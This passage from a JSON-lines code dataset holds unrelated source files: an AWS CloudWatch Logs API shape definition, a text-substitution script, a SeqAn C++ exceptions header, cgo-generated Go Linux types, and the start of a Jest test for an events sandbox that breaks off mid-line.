\"nextBackwardToken\":{\"shape\":\"NextToken\"}\n }\n },\n \"InputLogEvent\":{\n \"type\":\"structure\",\n \"required\":[\n \"timestamp\",\n \"message\"\n ],\n \"members\":{\n \"timestamp\":{\"shape\":\"Timestamp\"},\n \"message\":{\"shape\":\"EventMessage\"}\n }\n },\n \"InputLogEvents\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"InputLogEvent\"},\n \"max\":10000,\n \"min\":1\n },\n \"InputLogStreamNames\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"LogStreamName\"},\n \"max\":100,\n \"min\":1\n },\n \"Interleaved\":{\"type\":\"boolean\"},\n \"InvalidOperationException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"InvalidParameterException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"InvalidSequenceTokenException\":{\n \"type\":\"structure\",\n \"members\":{\n \"expectedSequenceToken\":{\"shape\":\"SequenceToken\"}\n },\n \"exception\":true\n },\n \"LimitExceededException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"LogEventIndex\":{\"type\":\"integer\"},\n \"LogGroup\":{\n \"type\":\"structure\",\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"creationTime\":{\"shape\":\"Timestamp\"},\n \"retentionInDays\":{\"shape\":\"Days\"},\n \"metricFilterCount\":{\"shape\":\"FilterCount\"},\n \"arn\":{\"shape\":\"Arn\"},\n \"storedBytes\":{\"shape\":\"StoredBytes\"}\n }\n },\n \"LogGroupName\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1,\n \"pattern\":\"[\\\\.\\\\-_/#A-Za-z0-9]+\"\n },\n \"LogGroups\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"LogGroup\"}\n },\n \"LogStream\":{\n \"type\":\"structure\",\n \"members\":{\n \"logStreamName\":{\"shape\":\"LogStreamName\"},\n \"creationTime\":{\"shape\":\"Timestamp\"},\n \"firstEventTimestamp\":{\"shape\":\"Timestamp\"},\n \"lastEventTimestamp\":{\"shape\":\"Timestamp\"},\n \"lastIngestionTime\":{\"shape\":\"Timestamp\"},\n \"uploadSequenceToken\":{\"shape\":\"SequenceToken\"},\n \"arn\":{\"shape\":\"Arn\"},\n \"storedBytes\":{\"shape\":\"StoredBytes\"}\n }\n },\n \"LogStreamName\":{\n \"type\":\"string\",\n \"max\":512,\n \"min\":1,\n \"pattern\":\"[^:*]*\"\n },\n \"LogStreamSearchedCompletely\":{\"type\":\"boolean\"},\n \"LogStreams\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"LogStream\"}\n },\n \"MetricFilter\":{\n \"type\":\"structure\",\n \"members\":{\n \"filterName\":{\"shape\":\"FilterName\"},\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"metricTransformations\":{\"shape\":\"MetricTransformations\"},\n \"creationTime\":{\"shape\":\"Timestamp\"},\n \"logGroupName\":{\"shape\":\"LogGroupName\"}\n }\n },\n \"MetricFilterMatchRecord\":{\n \"type\":\"structure\",\n \"members\":{\n \"eventNumber\":{\"shape\":\"EventNumber\"},\n \"eventMessage\":{\"shape\":\"EventMessage\"},\n \"extractedValues\":{\"shape\":\"ExtractedValues\"}\n }\n },\n \"MetricFilterMatches\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"MetricFilterMatchRecord\"}\n },\n \"MetricFilters\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"MetricFilter\"}\n },\n \"MetricName\":{\n \"type\":\"string\",\n \"max\":255,\n \"pattern\":\"[^:*$]*\"\n },\n \"MetricNamespace\":{\n \"type\":\"string\",\n \"max\":255,\n \"pattern\":\"[^:*$]*\"\n },\n \"MetricTransformation\":{\n \"type\":\"structure\",\n \"required\":[\n \"metricName\",\n \"metricNamespace\",\n \"metricValue\"\n ],\n \"members\":{\n \"metricName\":{\"shape\":\"MetricName\"},\n \"metricNamespace\":{\"shape\":\"MetricNamespace\"},\n \"metricValue\":{\"shape\":\"MetricValue\"},\n \"defaultValue\":{\"shape\":\"DefaultValue\"}\n }\n },\n \"MetricTransformations\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"MetricTransformation\"},\n \"max\":1,\n \"min\":1\n },\n \"MetricValue\":{\n \"type\":\"string\",\n \"max\":100\n },\n \"NextToken\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"OperationAbortedException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"OrderBy\":{\n \"type\":\"string\",\n \"enum\":[\n \"LogStreamName\",\n \"LastEventTime\"\n ]\n },\n \"OutputLogEvent\":{\n \"type\":\"structure\",\n \"members\":{\n \"timestamp\":{\"shape\":\"Timestamp\"},\n \"message\":{\"shape\":\"EventMessage\"},\n \"ingestionTime\":{\"shape\":\"Timestamp\"}\n }\n },\n \"OutputLogEvents\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"OutputLogEvent\"}\n },\n \"PutDestinationPolicyRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"destinationName\",\n \"accessPolicy\"\n ],\n \"members\":{\n \"destinationName\":{\"shape\":\"DestinationName\"},\n \"accessPolicy\":{\"shape\":\"AccessPolicy\"}\n }\n },\n \"PutDestinationRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"destinationName\",\n \"targetArn\",\n \"roleArn\"\n ],\n \"members\":{\n \"destinationName\":{\"shape\":\"DestinationName\"},\n \"targetArn\":{\"shape\":\"TargetArn\"},\n \"roleArn\":{\"shape\":\"RoleArn\"}\n }\n },\n \"PutDestinationResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"destination\":{\"shape\":\"Destination\"}\n }\n },\n \"PutLogEventsRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"logStreamName\",\n \"logEvents\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"logStreamName\":{\"shape\":\"LogStreamName\"},\n \"logEvents\":{\"shape\":\"InputLogEvents\"},\n \"sequenceToken\":{\"shape\":\"SequenceToken\"}\n }\n },\n \"PutLogEventsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"nextSequenceToken\":{\"shape\":\"SequenceToken\"},\n \"rejectedLogEventsInfo\":{\"shape\":\"RejectedLogEventsInfo\"}\n }\n },\n \"PutMetricFilterRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"filterName\",\n \"filterPattern\",\n \"metricTransformations\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterName\":{\"shape\":\"FilterName\"},\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"metricTransformations\":{\"shape\":\"MetricTransformations\"}\n }\n },\n \"PutRetentionPolicyRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"retentionInDays\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"retentionInDays\":{\"shape\":\"Days\"}\n }\n },\n \"PutSubscriptionFilterRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"logGroupName\",\n \"filterName\",\n \"filterPattern\",\n \"destinationArn\"\n ],\n \"members\":{\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterName\":{\"shape\":\"FilterName\"},\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"destinationArn\":{\"shape\":\"DestinationArn\"},\n \"roleArn\":{\"shape\":\"RoleArn\"}\n }\n },\n \"RejectedLogEventsInfo\":{\n \"type\":\"structure\",\n \"members\":{\n \"tooNewLogEventStartIndex\":{\"shape\":\"LogEventIndex\"},\n \"tooOldLogEventEndIndex\":{\"shape\":\"LogEventIndex\"},\n \"expiredLogEventEndIndex\":{\"shape\":\"LogEventIndex\"}\n }\n },\n \"ResourceAlreadyExistsException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"ResourceNotFoundException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true\n },\n \"RoleArn\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"SearchedLogStream\":{\n \"type\":\"structure\",\n \"members\":{\n \"logStreamName\":{\"shape\":\"LogStreamName\"},\n \"searchedCompletely\":{\"shape\":\"LogStreamSearchedCompletely\"}\n }\n },\n \"SearchedLogStreams\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"SearchedLogStream\"}\n },\n \"SequenceToken\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"ServiceUnavailableException\":{\n \"type\":\"structure\",\n \"members\":{\n },\n \"exception\":true,\n \"fault\":true\n },\n \"StartFromHead\":{\"type\":\"boolean\"},\n \"StoredBytes\":{\n \"type\":\"long\",\n \"min\":0\n },\n \"SubscriptionFilter\":{\n \"type\":\"structure\",\n \"members\":{\n \"filterName\":{\"shape\":\"FilterName\"},\n \"logGroupName\":{\"shape\":\"LogGroupName\"},\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"destinationArn\":{\"shape\":\"DestinationArn\"},\n \"roleArn\":{\"shape\":\"RoleArn\"},\n \"creationTime\":{\"shape\":\"Timestamp\"}\n }\n },\n \"SubscriptionFilters\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"SubscriptionFilter\"}\n },\n \"TargetArn\":{\n \"type\":\"string\",\n \"min\":1\n },\n \"TestEventMessages\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"EventMessage\"},\n \"max\":50,\n \"min\":1\n },\n \"TestMetricFilterRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"filterPattern\",\n \"logEventMessages\"\n ],\n \"members\":{\n \"filterPattern\":{\"shape\":\"FilterPattern\"},\n \"logEventMessages\":{\"shape\":\"TestEventMessages\"}\n }\n },\n \"TestMetricFilterResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"matches\":{\"shape\":\"MetricFilterMatches\"}\n }\n },\n \"Timestamp\":{\n \"type\":\"long\",\n \"min\":0\n },\n \"Token\":{\"type\":\"string\"},\n \"Value\":{\"type\":\"string\"}\n }\n}\n"} {"text": "input(\"MapSymbols\")\n{\n string(\"txtfile\", \"\"){\n file(\"txt\");\n };\n string(\"pattern1\", \"\");\n string(\"subst1\", \"\");\n string(\"pattern2\", \"\");\n string(\"subst2\", \"\");\n string(\"pattern3\", \"\");\n string(\"subst3\", \"\");\n string(\"pattern4\", \"\");\n string(\"subst4\", \"\");\n string(\"pattern5\", \"\");\n string(\"subst5\", \"\");\n string(\"pattern6\", \"\");\n string(\"subst6\", \"\");\n string(\"pattern7\", \"\");\n string(\"subst7\", \"\");\n string(\"pattern8\", \"\");\n string(\"subst8\", \"\");\n\tfeature(\"source\", \"list\");\n\tfeature(\"menu\", \"6.Tools/Subst\");\n\tfeature(\"description\", \"just so so\");\n}\nprocess\n{\n $lines=readalllines(txtfile);\n if(!isnullorempty(pattern1)){\n $lines = subst($lines, pattern1, subst1);\n };\n if(!isnullorempty(pattern2)){\n $lines = subst($lines, pattern2, subst2);\n };\n if(!isnullorempty(pattern3)){\n $lines = subst($lines, pattern3, subst3);\n };\n if(!isnullorempty(pattern4)){\n $lines = subst($lines, pattern4, subst4);\n };\n if(!isnullorempty(pattern5)){\n $lines = subst($lines, pattern5, subst5);\n };\n if(!isnullorempty(pattern6)){\n $lines = subst($lines, pattern6, subst6);\n };\n if(!isnullorempty(pattern7)){\n $lines = subst($lines, pattern7, subst7);\n };\n if(!isnullorempty(pattern8)){\n $lines = subst($lines, pattern8, subst8);\n };\n $dir = getdirectoryname(txtfile);\n $filename = getfilenamewithoutextension(txtfile);\n $file = combinepath($dir,$filename+\"_subst.txt\");\n writealllines($file,$lines);\n};"} {"text": "// ==========================================================================\n// arg_parse_exceptions.h\n// ==========================================================================\n// Copyright (c) 2006-2018, Knut Reinert, FU Berlin\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n// * Neither the name of Knut Reinert or the FU Berlin nor the names of\n// its contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE\n// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n// DAMAGE.\n//\n// ==========================================================================\n// Author: Stephan Aiche <stephan.aiche@fu-berlin.de>\n// ==========================================================================\n\n#ifndef SEQAN_INCLUDE_SEQAN_ARG_PARSE_ARG_PARSE_EXCEPTIONS_H_\n#define SEQAN_INCLUDE_SEQAN_ARG_PARSE_ARG_PARSE_EXCEPTIONS_H_\n\nnamespace seqan {\n\n// ============================================================================\n// Tags, Classes, Enums\n// ============================================================================\n\n// ----------------------------------------------------------------------------\n// Class ParseError\n// ----------------------------------------------------------------------------\n\n// Defined in include/seqan/stream/tokenization.h\nstruct ParseError;\n\n// ----------------------------------------------------------------------------\n// Class InvalidOption\n// ----------------------------------------------------------------------------\n\nclass InvalidOption : public ParseError\n{\npublic:\n InvalidOption(std::string const & option) :\n ParseError(\"illegal option -- \" + option)\n {}\n};\n\n// ----------------------------------------------------------------------------\n// Class MissingArgument\n// ----------------------------------------------------------------------------\n\nclass MissingArgument : public ParseError\n{\npublic:\n MissingArgument(std::string const & option) :\n ParseError(\"option requires an argument -- \" + option)\n {}\n};\n\n// ----------------------------------------------------------------------------\n// Class NotEnoughArguments\n// ----------------------------------------------------------------------------\n\nclass NotEnoughArguments : public ParseError\n{\npublic:\n NotEnoughArguments(std::string const & option) :\n ParseError(\"option requires more arguments -- \" + option)\n {}\n};\n\n} // namespace seqan\n\n#endif // #ifndef SEQAN_INCLUDE_SEQAN_ARG_PARSE_ARG_PARSE_EXCEPTIONS_H_\n"} {"text": "// +build 386,linux\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_linux.go\n\npackage unix\n\nconst (\n\tsizeofPtr = 0x4\n\tsizeofShort = 0x2\n\tsizeofInt = 0x4\n\tsizeofLong = 0x4\n\tsizeofLongLong = 0x8\n\tPathMax = 0x1000\n)\n\ntype (\n\t_C_short int16\n\t_C_int int32\n\t_C_long int32\n\t_C_long_long int64\n)\n\ntype Timespec struct {\n\tSec int32\n\tNsec int32\n}\n\ntype Timeval struct {\n\tSec int32\n\tUsec int32\n}\n\ntype Timex struct {\n\tModes uint32\n\tOffset int32\n\tFreq int32\n\tMaxerror int32\n\tEsterror int32\n\tStatus int32\n\tConstant int32\n\tPrecision int32\n\tTolerance int32\n\tTime Timeval\n\tTick int32\n\tPpsfreq int32\n\tJitter int32\n\tShift int32\n\tStabil int32\n\tJitcnt int32\n\tCalcnt int32\n\tErrcnt int32\n\tStbcnt int32\n\tTai int32\n\tPad_cgo_0 [44]byte\n}\n\ntype Time_t int32\n\ntype Tms struct {\n\tUtime int32\n\tStime int32\n\tCutime int32\n\tCstime int32\n}\n\ntype Utimbuf struct {\n\tActime int32\n\tModtime int32\n}\n\ntype Rusage struct {\n\tUtime Timeval\n\tStime Timeval\n\tMaxrss int32\n\tIxrss int32\n\tIdrss int32\n\tIsrss int32\n\tMinflt int32\n\tMajflt int32\n\tNswap int32\n\tInblock int32\n\tOublock int32\n\tMsgsnd int32\n\tMsgrcv int32\n\tNsignals int32\n\tNvcsw int32\n\tNivcsw int32\n}\n\ntype Rlimit struct {\n\tCur uint64\n\tMax uint64\n}\n\ntype _Gid_t uint32\n\ntype Stat_t struct {\n\tDev uint64\n\tX__pad1 uint16\n\tPad_cgo_0 [2]byte\n\tX__st_ino uint32\n\tMode uint32\n\tNlink uint32\n\tUid uint32\n\tGid uint32\n\tRdev uint64\n\tX__pad2 uint16\n\tPad_cgo_1 [2]byte\n\tSize int64\n\tBlksize int32\n\tBlocks int64\n\tAtim Timespec\n\tMtim Timespec\n\tCtim Timespec\n\tIno uint64\n}\n\ntype Statfs_t struct {\n\tType int32\n\tBsize int32\n\tBlocks uint64\n\tBfree uint64\n\tBavail uint64\n\tFiles uint64\n\tFfree uint64\n\tFsid Fsid\n\tNamelen int32\n\tFrsize int32\n\tFlags int32\n\tSpare [4]int32\n}\n\ntype Dirent struct {\n\tIno uint64\n\tOff int64\n\tReclen uint16\n\tType uint8\n\tName [256]int8\n\tPad_cgo_0 [1]byte\n}\n\ntype Fsid struct {\n\tX__val [2]int32\n}\n\ntype Flock_t struct {\n\tType int16\n\tWhence int16\n\tStart int64\n\tLen int64\n\tPid int32\n}\n\nconst (\n\tFADV_NORMAL = 0x0\n\tFADV_RANDOM = 0x1\n\tFADV_SEQUENTIAL = 0x2\n\tFADV_WILLNEED = 0x3\n\tFADV_DONTNEED = 0x4\n\tFADV_NOREUSE = 0x5\n)\n\ntype RawSockaddrInet4 struct {\n\tFamily uint16\n\tPort uint16\n\tAddr [4]byte /* in_addr */\n\tZero [8]uint8\n}\n\ntype RawSockaddrInet6 struct {\n\tFamily uint16\n\tPort uint16\n\tFlowinfo uint32\n\tAddr [16]byte /* in6_addr */\n\tScope_id uint32\n}\n\ntype RawSockaddrUnix struct {\n\tFamily uint16\n\tPath [108]int8\n}\n\ntype RawSockaddrLinklayer struct {\n\tFamily uint16\n\tProtocol uint16\n\tIfindex int32\n\tHatype uint16\n\tPkttype uint8\n\tHalen uint8\n\tAddr [8]uint8\n}\n\ntype RawSockaddrNetlink struct {\n\tFamily uint16\n\tPad uint16\n\tPid uint32\n\tGroups uint32\n}\n\ntype RawSockaddrHCI struct {\n\tFamily uint16\n\tDev uint16\n\tChannel uint16\n}\n\ntype RawSockaddr struct {\n\tFamily uint16\n\tData [14]int8\n}\n\ntype RawSockaddrAny struct {\n\tAddr RawSockaddr\n\tPad [96]int8\n}\n\ntype _Socklen uint32\n\ntype Linger struct {\n\tOnoff int32\n\tLinger int32\n}\n\ntype Iovec struct {\n\tBase *byte\n\tLen uint32\n}\n\ntype IPMreq struct {\n\tMultiaddr [4]byte /* in_addr */\n\tInterface [4]byte /* in_addr */\n}\n\ntype IPMreqn struct {\n\tMultiaddr [4]byte /* in_addr */\n\tAddress [4]byte /* in_addr */\n\tIfindex int32\n}\n\ntype IPv6Mreq struct {\n\tMultiaddr [16]byte /* in6_addr */\n\tInterface uint32\n}\n\ntype Msghdr struct {\n\tName *byte\n\tNamelen uint32\n\tIov *Iovec\n\tIovlen uint32\n\tControl *byte\n\tControllen uint32\n\tFlags int32\n}\n\ntype Cmsghdr struct {\n\tLen uint32\n\tLevel int32\n\tType int32\n\tX__cmsg_data [0]uint8\n}\n\ntype Inet4Pktinfo struct {\n\tIfindex int32\n\tSpec_dst [4]byte /* in_addr */\n\tAddr [4]byte /* in_addr */\n}\n\ntype Inet6Pktinfo struct {\n\tAddr [16]byte /* in6_addr */\n\tIfindex uint32\n}\n\ntype IPv6MTUInfo struct {\n\tAddr RawSockaddrInet6\n\tMtu uint32\n}\n\ntype ICMPv6Filter struct {\n\tData [8]uint32\n}\n\ntype Ucred struct {\n\tPid int32\n\tUid uint32\n\tGid uint32\n}\n\ntype TCPInfo struct {\n\tState uint8\n\tCa_state uint8\n\tRetransmits uint8\n\tProbes uint8\n\tBackoff uint8\n\tOptions uint8\n\tPad_cgo_0 [2]byte\n\tRto uint32\n\tAto uint32\n\tSnd_mss uint32\n\tRcv_mss uint32\n\tUnacked uint32\n\tSacked uint32\n\tLost uint32\n\tRetrans uint32\n\tFackets uint32\n\tLast_data_sent uint32\n\tLast_ack_sent uint32\n\tLast_data_recv uint32\n\tLast_ack_recv uint32\n\tPmtu uint32\n\tRcv_ssthresh uint32\n\tRtt uint32\n\tRttvar uint32\n\tSnd_ssthresh uint32\n\tSnd_cwnd uint32\n\tAdvmss uint32\n\tReordering uint32\n\tRcv_rtt uint32\n\tRcv_space uint32\n\tTotal_retrans uint32\n}\n\nconst (\n\tSizeofSockaddrInet4 = 0x10\n\tSizeofSockaddrInet6 = 0x1c\n\tSizeofSockaddrAny = 0x70\n\tSizeofSockaddrUnix = 0x6e\n\tSizeofSockaddrLinklayer = 0x14\n\tSizeofSockaddrNetlink = 0xc\n\tSizeofSockaddrHCI = 0x6\n\tSizeofLinger = 0x8\n\tSizeofIPMreq = 0x8\n\tSizeofIPMreqn = 0xc\n\tSizeofIPv6Mreq = 0x14\n\tSizeofMsghdr = 0x1c\n\tSizeofCmsghdr = 0xc\n\tSizeofInet4Pktinfo = 0xc\n\tSizeofInet6Pktinfo = 0x14\n\tSizeofIPv6MTUInfo = 0x20\n\tSizeofICMPv6Filter = 0x20\n\tSizeofUcred = 0xc\n\tSizeofTCPInfo = 0x68\n)\n\nconst (\n\tIFA_UNSPEC = 0x0\n\tIFA_ADDRESS = 0x1\n\tIFA_LOCAL = 0x2\n\tIFA_LABEL = 0x3\n\tIFA_BROADCAST = 0x4\n\tIFA_ANYCAST = 0x5\n\tIFA_CACHEINFO = 0x6\n\tIFA_MULTICAST = 0x7\n\tIFLA_UNSPEC = 0x0\n\tIFLA_ADDRESS = 0x1\n\tIFLA_BROADCAST = 0x2\n\tIFLA_IFNAME = 0x3\n\tIFLA_MTU = 0x4\n\tIFLA_LINK = 0x5\n\tIFLA_QDISC = 0x6\n\tIFLA_STATS = 0x7\n\tIFLA_COST = 0x8\n\tIFLA_PRIORITY = 0x9\n\tIFLA_MASTER = 0xa\n\tIFLA_WIRELESS = 0xb\n\tIFLA_PROTINFO = 0xc\n\tIFLA_TXQLEN = 0xd\n\tIFLA_MAP = 0xe\n\tIFLA_WEIGHT = 0xf\n\tIFLA_OPERSTATE = 0x10\n\tIFLA_LINKMODE = 0x11\n\tIFLA_LINKINFO = 0x12\n\tIFLA_NET_NS_PID = 0x13\n\tIFLA_IFALIAS = 0x14\n\tIFLA_MAX = 0x1d\n\tRT_SCOPE_UNIVERSE = 0x0\n\tRT_SCOPE_SITE = 0xc8\n\tRT_SCOPE_LINK = 0xfd\n\tRT_SCOPE_HOST = 0xfe\n\tRT_SCOPE_NOWHERE = 0xff\n\tRT_TABLE_UNSPEC = 0x0\n\tRT_TABLE_COMPAT = 0xfc\n\tRT_TABLE_DEFAULT = 0xfd\n\tRT_TABLE_MAIN = 0xfe\n\tRT_TABLE_LOCAL = 0xff\n\tRT_TABLE_MAX = 0xffffffff\n\tRTA_UNSPEC = 0x0\n\tRTA_DST = 0x1\n\tRTA_SRC = 0x2\n\tRTA_IIF = 0x3\n\tRTA_OIF = 0x4\n\tRTA_GATEWAY = 0x5\n\tRTA_PRIORITY = 0x6\n\tRTA_PREFSRC = 0x7\n\tRTA_METRICS = 0x8\n\tRTA_MULTIPATH = 0x9\n\tRTA_FLOW = 0xb\n\tRTA_CACHEINFO = 0xc\n\tRTA_TABLE = 0xf\n\tRTN_UNSPEC = 0x0\n\tRTN_UNICAST = 0x1\n\tRTN_LOCAL = 0x2\n\tRTN_BROADCAST = 0x3\n\tRTN_ANYCAST = 0x4\n\tRTN_MULTICAST = 0x5\n\tRTN_BLACKHOLE = 0x6\n\tRTN_UNREACHABLE = 0x7\n\tRTN_PROHIBIT = 0x8\n\tRTN_THROW = 0x9\n\tRTN_NAT = 0xa\n\tRTN_XRESOLVE = 0xb\n\tRTNLGRP_NONE = 0x0\n\tRTNLGRP_LINK = 0x1\n\tRTNLGRP_NOTIFY = 0x2\n\tRTNLGRP_NEIGH = 0x3\n\tRTNLGRP_TC = 0x4\n\tRTNLGRP_IPV4_IFADDR = 0x5\n\tRTNLGRP_IPV4_MROUTE = 0x6\n\tRTNLGRP_IPV4_ROUTE = 0x7\n\tRTNLGRP_IPV4_RULE = 0x8\n\tRTNLGRP_IPV6_IFADDR = 0x9\n\tRTNLGRP_IPV6_MROUTE = 0xa\n\tRTNLGRP_IPV6_ROUTE = 0xb\n\tRTNLGRP_IPV6_IFINFO = 0xc\n\tRTNLGRP_IPV6_PREFIX = 0x12\n\tRTNLGRP_IPV6_RULE = 0x13\n\tRTNLGRP_ND_USEROPT = 0x14\n\tSizeofNlMsghdr = 0x10\n\tSizeofNlMsgerr = 0x14\n\tSizeofRtGenmsg = 0x1\n\tSizeofNlAttr = 0x4\n\tSizeofRtAttr = 0x4\n\tSizeofIfInfomsg = 0x10\n\tSizeofIfAddrmsg = 0x8\n\tSizeofRtMsg = 0xc\n\tSizeofRtNexthop = 0x8\n)\n\ntype NlMsghdr struct {\n\tLen uint32\n\tType uint16\n\tFlags uint16\n\tSeq uint32\n\tPid uint32\n}\n\ntype NlMsgerr struct {\n\tError int32\n\tMsg NlMsghdr\n}\n\ntype RtGenmsg struct {\n\tFamily uint8\n}\n\ntype NlAttr struct {\n\tLen uint16\n\tType uint16\n}\n\ntype RtAttr struct {\n\tLen uint16\n\tType uint16\n}\n\ntype IfInfomsg struct {\n\tFamily uint8\n\tX__ifi_pad uint8\n\tType uint16\n\tIndex int32\n\tFlags uint32\n\tChange uint32\n}\n\ntype IfAddrmsg struct {\n\tFamily uint8\n\tPrefixlen uint8\n\tFlags uint8\n\tScope uint8\n\tIndex uint32\n}\n\ntype RtMsg struct {\n\tFamily uint8\n\tDst_len uint8\n\tSrc_len uint8\n\tTos uint8\n\tTable uint8\n\tProtocol uint8\n\tScope uint8\n\tType uint8\n\tFlags uint32\n}\n\ntype RtNexthop struct {\n\tLen uint16\n\tFlags uint8\n\tHops uint8\n\tIfindex int32\n}\n\nconst (\n\tSizeofSockFilter = 0x8\n\tSizeofSockFprog = 0x8\n)\n\ntype SockFilter struct {\n\tCode uint16\n\tJt uint8\n\tJf uint8\n\tK uint32\n}\n\ntype SockFprog struct {\n\tLen uint16\n\tPad_cgo_0 [2]byte\n\tFilter *SockFilter\n}\n\ntype InotifyEvent struct {\n\tWd int32\n\tMask uint32\n\tCookie uint32\n\tLen uint32\n\tName [0]int8\n}\n\nconst SizeofInotifyEvent = 0x10\n\ntype PtraceRegs struct {\n\tEbx int32\n\tEcx int32\n\tEdx int32\n\tEsi int32\n\tEdi int32\n\tEbp int32\n\tEax int32\n\tXds int32\n\tXes int32\n\tXfs int32\n\tXgs int32\n\tOrig_eax int32\n\tEip int32\n\tXcs int32\n\tEflags int32\n\tEsp int32\n\tXss int32\n}\n\ntype FdSet struct {\n\tBits [32]int32\n}\n\ntype Sysinfo_t struct {\n\tUptime int32\n\tLoads [3]uint32\n\tTotalram uint32\n\tFreeram uint32\n\tSharedram uint32\n\tBufferram uint32\n\tTotalswap uint32\n\tFreeswap uint32\n\tProcs uint16\n\tPad uint16\n\tTotalhigh uint32\n\tFreehigh uint32\n\tUnit uint32\n\tX_f [8]int8\n}\n\ntype Utsname struct {\n\tSysname [65]int8\n\tNodename [65]int8\n\tRelease [65]int8\n\tVersion [65]int8\n\tMachine [65]int8\n\tDomainname [65]int8\n}\n\ntype Ustat_t struct {\n\tTfree int32\n\tTinode uint32\n\tFname [6]int8\n\tFpack [6]int8\n}\n\ntype EpollEvent struct {\n\tEvents uint32\n\tFd int32\n\tPad int32\n}\n\nconst (\n\tAT_FDCWD = -0x64\n\tAT_REMOVEDIR = 0x200\n\tAT_SYMLINK_FOLLOW = 0x400\n\tAT_SYMLINK_NOFOLLOW = 0x100\n)\n\ntype PollFd struct {\n\tFd int32\n\tEvents int16\n\tRevents int16\n}\n\nconst (\n\tPOLLIN = 0x1\n\tPOLLPRI = 0x2\n\tPOLLOUT = 0x4\n\tPOLLRDHUP = 0x2000\n\tPOLLERR = 0x8\n\tPOLLHUP = 0x10\n\tPOLLNVAL = 0x20\n)\n\ntype Sigset_t struct {\n\tX__val [16]uint64\n}\n\ntype Termios struct {\n\tIflag uint32\n\tOflag uint32\n\tCflag uint32\n\tLflag uint32\n\tLine uint8\n\tCc [19]uint8\n\tIspeed uint32\n\tOspeed uint32\n}\n"} {"text": "import Vue from 'vue'\nimport eventBus from '@/plugins/event-bus'\nimport { create as createEventsSandbox } from '@/services/plugin-manager/sandbox/events-sandbox'\n\nVue.prototype.$eventBus = eventBus\n\ndescribe('Events Sandbox', () => {\n let app\n let walletApi\n beforeEach(() => {\n walletApi = {}\n app = new Vue()\n createEventsSandbox(walletApi, app)()\n })\n\n it('should expose functions', () => {\n expect(walletApi.eventBus).toBeTruthy()\n })\n\n describe('on', () => {\n it('should enable and trigger event', async () => {\n const eventTriggerMock = jest.fn()\n walletApi.eventBus.on('test:event', eventTriggerMock)\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n\n await app.$eventBus.emit('test:event')\n await app.$eventBus.emit('test:event')\n await app.$eventBus.emit('test:event')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(3)\n })\n\n it('should allow regex', async () => {\n const eventTriggerMock = jest.fn()\n walletApi.eventBus.on(/test:event:\\d/, 